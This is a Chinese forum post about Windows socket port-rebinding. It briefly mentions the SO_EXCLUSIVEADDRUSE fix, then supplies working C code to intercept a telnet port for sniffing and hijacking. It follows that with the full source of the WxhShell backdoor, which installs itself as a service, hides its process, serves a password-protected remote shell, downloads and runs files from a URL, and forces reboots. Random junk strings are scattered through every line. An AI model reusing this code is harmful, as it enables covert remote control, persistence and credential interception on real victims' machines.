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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HK NT. a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  T<oDLJA\  
k,eo+qH.Hz  
  saddr.sin_family = AF_INET; +Jm~Um!  
1-V"uLy@gC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <$(y6+lY  
4mjlat(d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v}LI-~M>U  
s<>d& W 0=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sZx`u+  
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  这意味着什么?意味着可以进行如下的攻击: "%}24t%  
S=}1k,I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _?> x{![  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N TcojA{V$  
p$=Z0p4%LL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KFg q3snH  
$J8g)cS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  / 3eGt7x#  
!\VzX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \sz*M B  
C(8VXtx_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O^J=19Ri  
d.|*sZ&3p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dbJ3E)rF  
Q.?(h! )9  
  #include "1$X5?%  
  #include J}NMF#w/;  
  #include e"y-A&|  
  #include    r]@T9\9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !(Ymc_s  
  int main() IR:GoD+  
  { }.a{;{y  
  WORD wVersionRequested; i#98KzE  
  DWORD ret; '_b3m2I.G  
  WSADATA wsaData; R_D&"&   
  BOOL val; C$p012D1  
  SOCKADDR_IN saddr; L;lu)|b"  
  SOCKADDR_IN scaddr; i?ZVVE=r  
  int err; z3Yi$*q <  
  SOCKET s; 5dGfO:Dy_  
  SOCKET sc; 9wlp AK  
  int caddsize; Pbd[gKX_  
  HANDLE mt; _@i-?Q  
  DWORD tid;   )DmydyQ'  
  wVersionRequested = MAKEWORD( 2, 2 ); }uNj#Uf  
  err = WSAStartup( wVersionRequested, &wsaData ); mqHcD8X  
  if ( err != 0 ) { !Q WNHL  
  printf("error!WSAStartup failed!\n"); NN#k^[i1  
  return -1; 4> uNH5  
  } IQ$!y,VJ  
  saddr.sin_family = AF_INET; c2t`i  
   R#3zGWr~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3?K+wg s  
6cd!;Ca  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ftvu69f  
  saddr.sin_port = htons(23); zMRa <G7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N5{v;~Cm}V  
  { 2Z(t/Zp>  
  printf("error!socket failed!\n"); X-tw)  
  return -1; veuX />!  
  } Ni8%K6]z  
  val = TRUE; (/At+MF3E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XD?Lu _.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BTD_j&+(  
  { ]0&X[?  
  printf("error!setsockopt failed!\n"); :pM)I5MN[  
  return -1; R%4Yg(-Q  
  } @ <3E `j'p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L[ZS17 ;*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oi]XSh[_s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gzlxkv-F{  
X1d{7H8A2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ypl;jkHP  
  { >yr;Y4y7K  
  ret=GetLastError(); :2H]DDg(  
  printf("error!bind failed!\n"); "b402"&  
  return -1; +.&P$`;TZj  
  } tmOy"mq67  
  listen(s,2); !KJA)znx;(  
  while(1) yUWc8]9\W  
  { :8(jhs  
  caddsize = sizeof(scaddr); ZR -RzT1  
  //接受连接请求 u(FOSmNkN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !zt>& t  
  if(sc!=INVALID_SOCKET) ZBR^$?nj  
  { yH=<KYk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  6/#+#T  
  if(mt==NULL) '%4fQ%ID}  
  { W**[:n+  
  printf("Thread Creat Failed!\n"); 9+MW13?  
  break; =dH=3iCG  
  } SHs [te[  
  } V,=5}qozQ  
  CloseHandle(mt); XlD=<$Nk7  
  } iZ>P>x\  
  closesocket(s); p6NPWaBR  
  WSACleanup(); _h4]gZ  
  return 0; !?_CIt$p  
  }   akk*f+TD`  
  DWORD WINAPI ClientThread(LPVOID lpParam) FAL#p$y}  
  {  ZB |s/  
  SOCKET ss = (SOCKET)lpParam; B8eZ}9X  
  SOCKET sc; qE3Ud:j  
  unsigned char buf[4096]; ]zVQL_%,  
  SOCKADDR_IN saddr; C[<{>fl)  
  long num; 'zav%}b]L  
  DWORD val; +'SL5d*  
  DWORD ret; p2Gd6v.t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1) K<x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mhv6.W@  
  saddr.sin_family = AF_INET; H>D sAHS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Go1xyd:k  
  saddr.sin_port = htons(23); eI:x4K,#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [TQYu:e  
  { [L7s(Zs>  
  printf("error!socket failed!\n"); Q|P M6ta  
  return -1; %,1TAmJfHa  
  } @{#'y4\>  
  val = 100; P=1K u|k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7FkiT  
  { iDX<`)  
  ret = GetLastError(); 50|nQ:u,  
  return -1; *J]p/<> {  
  } \ a7m!v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IJKdVb~   
  { X.>~DT%0Lm  
  ret = GetLastError(); n $N M  
  return -1; S"@6,  
  } 5FuV=Yuc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A(uo%QE|  
  { B_iaty   
  printf("error!socket connect failed!\n"); 4"Qb^y  
  closesocket(sc); Yr~wsE/  
  closesocket(ss); L~e0^X?  
  return -1; ;F*^c )  
  } m>48?%  
  while(1) M@7U]X$g  
  { !~RK2d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kCEo */,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _.R]K$U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O-ENFA~E;v  
  num = recv(ss,buf,4096,0); @YRy)+  
  if(num>0) !<=(/4o&P  
  send(sc,buf,num,0); gx^_bHh  
  else if(num==0) 6T+ym9  
  break; cAGM|%  
  num = recv(sc,buf,4096,0); ^`M%g2x  
  if(num>0) hrD2 -S  
  send(ss,buf,num,0); X jxa 2D  
  else if(num==0) !]}C!dXd  
  break; f3n^Sw&Q(Q  
  } t5_76'@cX  
  closesocket(ss); Z ztp %2c  
  closesocket(sc); IY6Qd4157  
  return 0 ; U[Sh){4j  
  } <+r~?X_  
8+7*> FD)1  
`Ix`/k}  
========================================================== K@DFu5  
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下边附上一个代码,,WXhSHELL i;/;zG^=_  
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========================================================== UroC8Tm  
2"|7 YI  
#include "stdafx.h" t'J 4zV  
82+2 PE{  
#include <stdio.h> |:4W5>sfg  
#include <string.h> }+MA*v[06  
#include <windows.h> %-$ :/ N  
#include <winsock2.h> _g9j_ x:=  
#include <winsvc.h> ZU0*iA  
#include <urlmon.h> z79oj\&[  
"x.iD,>k  
#pragma comment (lib, "Ws2_32.lib") kI04<!  
#pragma comment (lib, "urlmon.lib") Het>G{  
6C<GYzzo  
#define MAX_USER   100 // 最大客户端连接数 Av yer/{  
#define BUF_SOCK   200 // sock buffer N"RPCd_  
#define KEY_BUFF   255 // 输入 buffer >ySO.S  
Q(Q?L5  
#define REBOOT     0   // 重启 7LM&3mA<  
#define SHUTDOWN   1   // 关机 Wl=yxJu_(  
TG8U=9qt  
#define DEF_PORT   5000 // 监听端口 vfj{j= G  
*kZH~]  
#define REG_LEN     16   // 注册表键长度 (4RtoYWW  
#define SVC_LEN     80   // NT服务名长度 7!(/7U6rP  
-qvMMit%7  
// 从dll定义API dT&u}o3X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G#f3 WpD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X{i>Q_8>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hyJ&~i0P{J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %dr*dA'  
lTN^c?  
// wxhshell配置信息 _-#o[>2[  
struct WSCFG { MQcIH2  
  int ws_port;         // 监听端口 uTz>I'f  
  char ws_passstr[REG_LEN]; // 口令 {*g{9`   
  int ws_autoins;       // 安装标记, 1=yes 0=no lb*;Z7fx<'  
  char ws_regname[REG_LEN]; // 注册表键名 ">h$(WCK  
  char ws_svcname[REG_LEN]; // 服务名 0*kS\R=P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 90Sras>F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b{ A/M#=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -$#2?/uqC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Voq/0,d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J(~1mIJjC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~#VDJ[Z  
9vW]HOK  
}; [g: cG  
y4 ]5z/  
// default Wxhshell configuration #u+qV!4  
struct WSCFG wscfg={DEF_PORT, s:_j,/H0A}  
    "xuhuanlingzhe", pmurG  
    1, 2h]CZD4  
    "Wxhshell", $_eJ@L#  
    "Wxhshell", kEAF1RP:  
            "WxhShell Service", ,JbP~2M~%  
    "Wrsky Windows CmdShell Service", bUM4^m  
    "Please Input Your Password: ", 5A 5t  
  1,  @e\ @EW  
  "http://www.wrsky.com/wxhshell.exe", _\,lv \u  
  "Wxhshell.exe" [h&s<<# D  
    }; <tsexsw  
i| ,}y`C#  
// 消息定义模块 H"Hl~~U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l= Jw6F+5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pV\> ?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z-_Xt^N  
char *msg_ws_ext="\n\rExit."; .!lLj1?p  
char *msg_ws_end="\n\rQuit."; a+O?bO  
char *msg_ws_boot="\n\rReboot..."; 73]t5=D:  
char *msg_ws_poff="\n\rShutdown..."; o$U{.#  
char *msg_ws_down="\n\rSave to "; qe e_wx  
cH:&S=>h  
char *msg_ws_err="\n\rErr!"; i PG:w+G  
char *msg_ws_ok="\n\rOK!"; 'L9hM.+  
+eKLwM  
char ExeFile[MAX_PATH]; #4"eQ*.*"  
int nUser = 0; Sd.Km a  
HANDLE handles[MAX_USER]; (~5]1S}F  
int OsIsNt; /F|VYl^_  
Slv:CM M  
SERVICE_STATUS       serviceStatus; `)KGajB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ea`6J  
,z`D}< 3  
// 函数声明 <}c7E3Uc  
int Install(void); vpdPW%B  
int Uninstall(void); :f_oN3F p  
int DownloadFile(char *sURL, SOCKET wsh); 0yMHU[):~  
int Boot(int flag); mMWhUr  
void HideProc(void); 7Lj:m.0O^  
int GetOsVer(void); n;vZY  
int Wxhshell(SOCKET wsl); >o& %via}  
void TalkWithClient(void *cs); 6CGk*s  
int CmdShell(SOCKET sock); 3fZoF`<a  
int StartFromService(void); S5Pn6'w  
int StartWxhshell(LPSTR lpCmdLine); y@2"[fo3~  
%1{O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ''!j:49  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4f ~q$Sf]<  
l g ,%  
// 数据结构和表定义 Y$)y:.2#  
SERVICE_TABLE_ENTRY DispatchTable[] = aM#xy6:XG  
{ U#w0E G  
{wscfg.ws_svcname, NTServiceMain}, ZZ :*c"b:  
{NULL, NULL} 0jxXUWO  
}; 1;{nU.If  
k 7@:e$7  
// 自我安装 ~q/~ u  
int Install(void) i|/G!ht^e  
{ /|h+,]< >  
  char svExeFile[MAX_PATH]; MU `!s b*  
  HKEY key; 0Ny +NE:6M  
  strcpy(svExeFile,ExeFile); )#hR}|  
@;{ZnRv14  
// 如果是win9x系统,修改注册表设为自启动 x{So  
if(!OsIsNt) { '0_W< lGB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k$#1T +(G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ z/G  
  RegCloseKey(key); Eg2jexl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z-"P raP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v"%>ms"n  
  RegCloseKey(key); I1dOMu9  
  return 0; Q[H4l({E  
    } s,/C^E  
  } O ]-8 %  
} K*1]P ar;  
else { 4"iI3y~Gw  
*r9D+}Y(4  
// 如果是NT以上系统,安装为系统服务 86?~N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9oP  
if (schSCManager!=0) [ws;|n h  
{ xH,e$t#@@~  
  SC_HANDLE schService = CreateService OH]45bd &7  
  ( 4W E)2vkS  
  schSCManager, $ER$|9)KD  
  wscfg.ws_svcname, _Vt9ckaA  
  wscfg.ws_svcdisp, e85E+S%  
  SERVICE_ALL_ACCESS, MAX?,- x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KZ65# UVX  
  SERVICE_AUTO_START, gF2 93Ez  
  SERVICE_ERROR_NORMAL, q%]5/.J  
  svExeFile, +R{~%ZTK  
  NULL, .>_%12>  
  NULL, ^Mhh2v  
  NULL, vJ 28A  
  NULL, 9j-;-`$S  
  NULL M9~'dS'XI  
  ); f= }!c*l"  
  if (schService!=0) d:cOdm>,  
  { GlJOb|WOX  
  CloseServiceHandle(schService); ~rXLb:  
  CloseServiceHandle(schSCManager); 0Am\02R.C,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B_8JwMJu3  
  strcat(svExeFile,wscfg.ws_svcname); y0) mBCX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Akw V-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I?\P^f  
  RegCloseKey(key); H xc>?  
  return 0; d5{RIM|  
    } DM\pi9<m  
  }  ggfCfn  
  CloseServiceHandle(schSCManager); c3<H272\  
} heb{i5el  
} !V4(- 8  
5RY-.c4}  
return 1; i`}9VaUG  
} r9D 68*H  
F`Z?$ 1  
// 自我卸载 ,#0#1k<Dm  
int Uninstall(void) S~|\bnE  
{ #W_-S0>&  
  HKEY key; dww4o~hO  
2<AQ{ c  
if(!OsIsNt) { ew c:-2Y^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oJE<}~_k  
  RegDeleteValue(key,wscfg.ws_regname); N>sHT =_  
  RegCloseKey(key); :Z83*SPc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u2I@ fH/  
  RegDeleteValue(key,wscfg.ws_regname); a |]}uFr  
  RegCloseKey(key); D&],.N  
  return 0; c% ?@3d  
  } bpDlFa  
} 3lS1WA   
} ;xai JJK{  
else { FysIN~  
Gsm.a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u:wf :^  
if (schSCManager!=0) G%}k_vi&q  
{ .+lx}#-#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dj0D.}`~  
  if (schService!=0) oXVx9dZ  
  { i"4;{C{s  
  if(DeleteService(schService)!=0) { ]\ZmK0q<:  
  CloseServiceHandle(schService); .i#'IS0c  
  CloseServiceHandle(schSCManager); AJ#YjkO>]  
  return 0; H>-{.E1bG  
  } (8NE'd8  
  CloseServiceHandle(schService); <Y;w I#C  
  } kD((1v*D$  
  CloseServiceHandle(schSCManager); mK^E@uxN  
} j:^gmZ;J  
} yio8BcXH54  
(d.M} G  
return 1; >Wd_?NaI  
} G6\`Iy68/v  
S]&aDg1y}  
// 从指定url下载文件 !rZZ/M"i  
int DownloadFile(char *sURL, SOCKET wsh) /(%!txSNEt  
{ CRNt5T>qH  
  HRESULT hr; UzV78^:,iD  
char seps[]= "/"; '@^mesMG  
char *token; \r3SvBwhFv  
char *file; diKl}V#u  
char myURL[MAX_PATH]; q$<VLrx  
char myFILE[MAX_PATH]; * COC&  
.GCJA`0h  
strcpy(myURL,sURL); nH+wU;M  
  token=strtok(myURL,seps); 8>I4e5Ym  
  while(token!=NULL) od&wfwk(  
  { dI%Nwl%  
    file=token; S.U#lAn(  
  token=strtok(NULL,seps); '_91(~P  
  } b<E78B+Aax  
u})8)  
GetCurrentDirectory(MAX_PATH,myFILE); sM9utR  
strcat(myFILE, "\\"); nHLMF7\  
strcat(myFILE, file); xd4~[n\hm  
  send(wsh,myFILE,strlen(myFILE),0); =W gzj|Kr  
send(wsh,"...",3,0); 0R-W 9qP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )]zsAw`/  
  if(hr==S_OK) M~.1:%khM  
return 0; W*u$e8i7  
else m,rkKhXP  
return 1; 'W&ewZH_h  
A5s;<d0  
} -x!JTx[K  
dvAz}3p0]  
// 系统电源模块 2=VFUR 8  
int Boot(int flag) r\C"Fx^  
{ ey n-bw  
  HANDLE hToken; Fg i;%  
  TOKEN_PRIVILEGES tkp; 60xL.Z   
B@8lD\  
  if(OsIsNt) { c+##!_[9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PJ<9T3Fa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); srS)"Jt  
    tkp.PrivilegeCount = 1; zXId up@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =8Z-ORW51  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jK{qw  
if(flag==REBOOT) { }E&:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q-yNw0V}F  
  return 0; {m_y<  
} :8A@4vMS)?  
else { {WTy/$ Qk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?*~sx=mC  
  return 0; zu,Yuq  
} l4& l)4Rx  
  } T^#d\2  
  else { R I:kp.V  
if(flag==REBOOT) { }LoMS<O-[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 34J*<B[Njo  
  return 0; 0~Xt_rN](  
} l,UOP[j  
else { Z4sS;k]}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MIqH%W.r u  
  return 0; okO\A^F  
} ]\/"-Y#4Q  
} 4K|O?MUNS  
\GZ|fmYn  
return 1; \0FwxsL  
} 8zho\'  
mp*?GeV?M  
// win9x进程隐藏模块 O;0VKNn['  
void HideProc(void) `4ti?^BNm  
{ @qB>qD~WsD  
$s"-r9@q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V \/Qik{h  
  if ( hKernel != NULL ) 4Zn [F^p  
  { <00=bZzX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` ^;J<l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6!([Hu#= *  
    FreeLibrary(hKernel); CQ7NQ^3k  
  } eWr6@  
1yFIIj:^|  
return; G7r.Jm^q  
} g`)0 wP  
l9 &L$,=  
// 获取操作系统版本 LyG`q3@  
int GetOsVer(void) lcVG<*gf-  
{ $v5 >6+-n  
  OSVERSIONINFO winfo; ~JP3C5q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {Ia$!q)  
  GetVersionEx(&winfo); {4)d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9ZuKED  
  return 1; CV2#G*  
  else gJ>#HEkMB  
  return 0; $Z8riVJ7j-  
} 4E+8kz'  
o[q|dhrANh  
// 客户端句柄模块 8fK/0u^`d  
int Wxhshell(SOCKET wsl) Qkc 9X0J!  
{ Q /t_% vb  
  SOCKET wsh; }]^/`n  
  struct sockaddr_in client; ;jBS:k?  
  DWORD myID;  pQ7<\8s*  
}nSu7)3$B  
  while(nUser<MAX_USER) uG-S$n"7K  
{ CY$ 1;/  
  int nSize=sizeof(client); :m>Vp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PzustC|  
  if(wsh==INVALID_SOCKET) return 1; BnaI30-  
;J:*r0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $f>(TW  
if(handles[nUser]==0) q(Ow:3&  
  closesocket(wsh); =)a %,H  
else q#\B}'I{  
  nUser++; OjrZ6  
  } i`?yi-R&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >:BgatyPH  
RMdU1@  
  return 0; j]aIJbi  
} G3h"Eo?>g  
p(9[*0.};  
// 关闭 socket XV,ce~ro[  
void CloseIt(SOCKET wsh) IYa(B+nB)  
{ e*d lGK3l  
closesocket(wsh); A+FQmLS  
nUser--; X1BqN+=@9  
ExitThread(0); Dn#UcMO>W  
} 3sDyB-\&  
nGur2}>n  
// 客户端请求句柄 AoK;6je`K^  
void TalkWithClient(void *cs) P ,rLyx   
{ dux_v"Xl  
y. (m#&T  
  SOCKET wsh=(SOCKET)cs; *:`fgaIDa  
  char pwd[SVC_LEN]; Nnoj6+b  
  char cmd[KEY_BUFF]; -OnKvpeI  
char chr[1]; Dw y|mxlFn  
int i,j; E )2/Vn2  
fB'Jo<C  
  while (nUser < MAX_USER) { q Oa*JA`  
a>+m_]*JZ  
if(wscfg.ws_passstr) { n#B}p*G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w4zp%`?D'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L=P8;Gj)  
  //ZeroMemory(pwd,KEY_BUFF); dCLNZq h6  
      i=0; %/ :&L+q  
  while(i<SVC_LEN) { ?v'CuWS  
'Zqt~5=5  
  // 设置超时 3Q2NiYg3  
  fd_set FdRead; 5glEV`.je  
  struct timeval TimeOut; ch0cFF^]  
  FD_ZERO(&FdRead); `S4G+j>u6  
  FD_SET(wsh,&FdRead); 3K/]{ dkD  
  TimeOut.tv_sec=8; vG=Pi'4XXo  
  TimeOut.tv_usec=0; =\\rk,F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fgHsg@33N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cv p#=x0  
#Yy5@A}`o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3_T'0x\FP  
  pwd=chr[0]; u=E &jL5U  
  if(chr[0]==0xd || chr[0]==0xa) { U.ZA%De  
  pwd=0; JV+Uy$P!  
  break; JIc9csr:b  
  } @ ]42.oP  
  i++; 8: uh0  
    } )QmmI[,tq  
K9 K.mGYc  
  // 如果是非法用户,关闭 socket XXQC`%-]<i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ' -aLBAxy  
} TGjxy1A  
XjYMp3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n"Jj'8k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hqwsgJ  
wzZ]| C(vp  
while(1) { A>(EM}\,  
Iv{iJoe;UH  
  ZeroMemory(cmd,KEY_BUFF); QD1&"T<.d.  
IWwOP{ <ZQ  
      // 自动支持客户端 telnet标准   t{B6W)q  
  j=0; {7v|\6@e3  
  while(j<KEY_BUFF) { brL u~]I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {nS(B  
  cmd[j]=chr[0]; V P7LKfv  
  if(chr[0]==0xa || chr[0]==0xd) { >!c Ff$2'  
  cmd[j]=0; P E[5oH  
  break; )ub!tm  
  } mXsSOAD<  
  j++; 5bol)Z9BO  
    } YeB C6`7y  
{yi!vw  
  // 下载文件 #kJ8 qN  
  if(strstr(cmd,"http://")) { 0t*PQ%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '8I=Tn  
  if(DownloadFile(cmd,wsh)) 7dlMDHp\Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49Y:}<Yd   
  else psS^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kpk ^Uw%f  
  } LOgB_$9_3  
  else { O_5;?$[m  
s,D GFK  
    switch(cmd[0]) { 'SIc2H  
  U)3?&9H  
  // 帮助 ;zWiPnX}  
  case '?': { x26 sH5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HhzPKd  
    break; j",*&sy  
  } 1o)<23q`)  
  // 安装 Ysi@wK-LnF  
  case 'i': { P+3 ]g{2w  
    if(Install()) DG3Mcf@5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! e?=g%(  
    else h^J :k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Exat_ L'?  
    break; 4dh> B>Q  
    } p%OVl[^jp  
  // 卸载 $=C ` V  
  case 'r': { gUp9yV  
    if(Uninstall()) 9  I&[6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wOH 3[SKo  
    else /&!o]fU1C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UG6\OgkL+  
    break; 9s*UJIL  
    } I."s&]FZ  
  // 显示 wxhshell 所在路径 y cWY.HD  
  case 'p': { u#->?  
    char svExeFile[MAX_PATH]; 0bGQO&s [  
    strcpy(svExeFile,"\n\r"); C{6m?6  
      strcat(svExeFile,ExeFile); swhtlc@@  
        send(wsh,svExeFile,strlen(svExeFile),0); CT|H1Ry2T  
    break; !Z;Nv  
    } x+1-^XvK  
  // 重启 LC0-O1  
  case 'b': {  yT(86#st  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hi Ws:Yq  
    if(Boot(REBOOT)) Zj nWbnW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,F1n/7  
    else { r&XxF >  
    closesocket(wsh); zaE!=-U  
    ExitThread(0); *mN8Qd  
    } ;47=x1j i  
    break; "&mwrjn"T  
    } 5%DHF-W)  
  // 关机 8JO(P0aT  
  case 'd': { n|PW^kOE/  
